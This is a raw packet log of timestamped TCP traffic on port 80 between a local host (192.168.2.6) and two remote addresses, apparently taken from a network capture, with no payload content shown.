Dec 26, 2024 12:52:24.355516911 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.356025934 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.356431007 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.356503963 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.356614113 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.357287884 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.357394934 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.357458115 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.358325958 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.358467102 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.359230042 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.359272003 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.359359026 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.359400988 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.360163927 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.360270977 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.360812902 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.361128092 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.361248970 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.362093925 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.362131119 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.362154007 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.362191916 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.363064051 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.363190889 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.363821030 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.363991022 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.364063978 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.364577055 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.364622116 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.364695072 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.364742041 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.365564108 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.365708113 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.366497993 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.366542101 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.366619110 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.366660118 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.367491007 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.367645025 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.367692947 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.368515968 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.368592024 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.369518995 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.369565010 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.369630098 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.369669914 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.370358944 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.370414972 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.371392012 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.371438026 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.371490002 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.371541977 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.372289896 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.372510910 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.372807980 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.373243093 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.373308897 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.374217033 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.374264002 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.374373913 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.374419928 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.375113964 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.375252008 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.375814915 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.376063108 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.376195908 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.377058029 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.377100945 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.377144098 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.377187014 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.378195047 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.378307104 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.378829002 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.378998041 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.379138947 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.379898071 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.379941940 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.380034924 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.380078077 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.380990028 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.381105900 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.381918907 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.381964922 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.382031918 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.382075071 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.382967949 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.383058071 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.384067059 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.384123087 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.384160995 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.384198904 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.385055065 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.385198116 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.385241032 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.386017084 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.386034012 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.386085987 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.386655092 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.386744022 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.387407064 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.387568951 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.387695074 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.387737989 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.388546944 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.388684034 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.388725996 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.389496088 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.389633894 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.390518904 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.390543938 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.390573978 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.390599966 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.391438961 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.391544104 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.391587973 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.392437935 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.392520905 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.393338919 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.393389940 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.393389940 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.393430948 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.394325018 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.394408941 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.395251036 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.395299911 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.395369053 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.395411015 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.396256924 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.396408081 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.396809101 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.397180080 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.397270918 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.398155928 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.398210049 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.398262024 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.398303986 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.399157047 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.399219036 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.399816990 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.400099039 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.400175095 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.401043892 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.401087046 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.401196957 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.401240110 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.402035952 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.402183056 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.402827978 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.402959108 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.403042078 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.403965950 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.404011965 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.404042959 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.404084921 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.404903889 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.405002117 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.405967951 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.406019926 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.406313896 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.406358004 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.406965971 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.407113075 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.408061028 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.408113003 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.408171892 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.408212900 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.408911943 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.409038067 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.409082890 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.409703016 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.409811974 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.410605907 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.410655022 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.410715103 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.410762072 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.411588907 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.411655903 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.411843061 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.412550926 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.412705898 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.413464069 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.413513899 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.413583994 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.413628101 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.414437056 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.414570093 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.414849997 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.415405989 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.415580988 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.416374922 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.416452885 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.416501999 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.416547060 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.417346954 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.417510986 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.418317080 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.418366909 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.418438911 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.418500900 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.419276953 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.419374943 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.420361042 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.420418978 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.420456886 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.420497894 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.421197891 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.421292067 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.421344042 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.422420025 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.422523022 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.423114061 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.423126936 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.423161030 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.423190117 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.424151897 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.424237013 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.424283981 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.430856943 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.430887938 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.430900097 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.430939913 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.430946112 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.430952072 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.430963993 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.430975914 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.430989981 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.431000948 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.431164026 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.431175947 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.431186914 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.431201935 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.431216002 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.431216002 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.431251049 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.431251049 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.431344032 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.431359053 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.431404114 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.438334942 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.438350916 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.438363075 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.438422918 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.438431025 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.438442945 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.438460112 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.438471079 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.438473940 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.438505888 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.438673973 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.438685894 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.438698053 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.438710928 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.438723087 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.438724041 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.438735008 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.438735962 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.438764095 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.438921928 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.438941002 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.438952923 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.438982964 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.439009905 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.439380884 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.439512968 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.439560890 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.440330982 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.440471888 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.444822073 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.460691929 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.460705042 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.460755110 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.463175058 CET	80	49873	185.215.113.206	192.168.2.6
Dec 26, 2024 12:52:24.913716078 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.916827917 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:25.713779926 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:25.716872931 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:25.765883923 CET	80	49873	185.215.113.206	192.168.2.6
Dec 26, 2024 12:52:25.768841982 CET	49873	80	192.168.2.6	185.215.113.206
Dec 26, 2024 12:52:25.772437096 CET	49873	80	192.168.2.6	185.215.113.206
Dec 26, 2024 12:52:25.891989946 CET	80	49873	185.215.113.206	192.168.2.6
Dec 26, 2024 12:52:26.154503107 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:26.196705103 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:26.232403040 CET	80	49873	185.215.113.206	192.168.2.6
Dec 26, 2024 12:52:26.232872009 CET	49873	80	192.168.2.6	185.215.113.206
Dec 26, 2024 12:52:26.274972916 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.274986982 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.274998903 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.275079966 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:26.317164898 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.317184925 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.317197084 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.317209959 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.317300081 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.317346096 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.317358017 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.317409039 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.317408085 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:26.317408085 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:26.317445993 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:26.318042994 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.318094969 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.318106890 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.318140984 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:26.318167925 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:26.318330050 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.318846941 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.318893909 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:26.318911076 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.318924904 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.318967104 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:26.319051027 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.319645882 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.319693089 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.319705963 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.319736958 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:26.319766045 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:26.319802999 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.320439100 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.320486069 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:26.320487976 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.320501089 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.320548058 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:26.320571899 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.321265936 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.321347952 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.321361065 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.321403027 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:26.321423054 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.322035074 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.322109938 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.322123051 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.322155952 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:26.322181940 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:26.322185993 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.322875023 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.322920084 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:26.322957039 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.322968006 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:26.323015928 CET	49863	80	192.168.2.6	185.215.113.16
